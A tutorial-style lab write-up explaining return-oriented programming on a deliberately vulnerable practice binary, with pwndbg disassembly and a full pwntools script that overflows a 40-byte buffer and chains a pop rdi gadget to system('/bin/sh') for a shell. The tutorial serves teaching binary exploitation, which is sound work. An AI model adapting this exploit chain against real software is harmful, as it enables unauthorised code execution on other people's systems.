I don't own this binary. I will provide you with the link to this binary, which I took from Github.
You can Download it from here.
We will be using this rop binary to understand the process.
Practical Demonstration
We can extract the small piece of the code from the binary and used it as per our needs.
call 0x4ab1ed<system>
pop rdi
ret
Above are the small pieces of code which we can use as per our needs.
Their is one famous tool called ROPgadget. It allows us to extract the small pieces of the from the binary.

Practical Demonstration.
We will be using the vulnerable binary to practically demonstrate it. Lets see after how many bytes we can overwrite the return address.

After 40 characters we can overwrite the return address.
Lets have a look at function within the binary.
┌──(bn-exploit㉿kali)-[~/binary-exploitation/6. ROP]
└─$ pwndbg ./rop
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
pwndbg: loaded 179 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010a0 setresuid@plt
0x00000000004010b0 setresgid@plt
0x00000000004010c0 system@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 geteuid@plt
0x00000000004010f0 gets@plt
0x0000000000401100 getegid@plt
0x0000000000401110 _start
0x0000000000401140 _dl_relocate_static_pie
0x0000000000401150 deregister_tm_clones
0x0000000000401180 register_tm_clones
0x00000000004011c0 __do_global_dtors_aux
0x00000000004011f0 frame_dummy
0x00000000004011f6 callme
0x0000000000401222 init
0x000000000040126f main
0x00000000004012b0 __libc_csu_init
0x0000000000401320 __libc_csu_fini
0x0000000000401328 _fini
pwndbg> disassemble callme
Dump of assembler code for function callme:
0x00000000004011f6 <+0>: endbr64
0x00000000004011fa <+4>: push rbp
0x00000000004011fb <+5>: mov rbp,rsp
0x00000000004011fe <+8>: sub rsp,0x10
0x0000000000401202 <+12>: mov DWORD PTR [rbp-0x7],0x2d20736c
0x0000000000401209 <+19>: mov WORD PTR [rbp-0x3],0x616c
0x000000000040120f <+25>: mov BYTE PTR [rbp-0x1],0x0
0x0000000000401213 <+29>: lea rax,[rbp-0x7]
0x0000000000401217 <+33>: mov rdi,rax
0x000000000040121a <+36>: call 0x4010c0 <system@plt>
0x000000000040121f <+41>: nop
0x0000000000401220 <+42>: leave
0x0000000000401221 <+43>: ret
End of assembler dump.
pwndbg>Their is one function named callme but after having a deep analysis we got to know that system command is executing ls -la .
Exploitation
We can do one thing, we can execute the /bin/sh command using system function as it is already present in the callme function.
We can use pop rdi instruction and pass the /bin/sh address to it. And now we can call system function. When we pop any data from register the next data after it is stored in it. When we pass the pop rdi address it will pop the data from rdi register and then we can send /bin/sh address. So now we have /bin/sh address in rdi register and then the system function take argument from the 1st register that is rdi. Now we can call the system function and get the shell.
Now its time to write our code.
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF('./rop', checksec=False)
io = process()
bin_sh = 0x404060
pop_rdi = 0x401313
ret = 0x000000000040101a
system = 0x4010c0
payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system)
io.sendline(payload)
io.interactive()from pwn import * :- imported the python library
elf = context.binary = ELF('./rop') :- imported the binary and its functions into the elf
io = process() :- Start the execution of the binary
bin_sh = 0x404060 :- I crashed the process intentionally so that i can find the address of /bin/sh

pop_rdi = 0x401313:- Extracted this address from the binary using ROPgadget.

ret = 0x0000000040101a :- Extracted this address from the binary using ROPgadget. We are using this ret function to call the system function as the address is already stored in the rdi register.

system = 0x4010c0 :- Got this address from searching in the binary itself.

payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system) :- We have successfully created our payload.
io.sendline(payload) :- Sending the payload to the program.
io.interactive() :- Used this to run the system commands continuously and not break the connection with the program.
Result

Thank you for reading!😊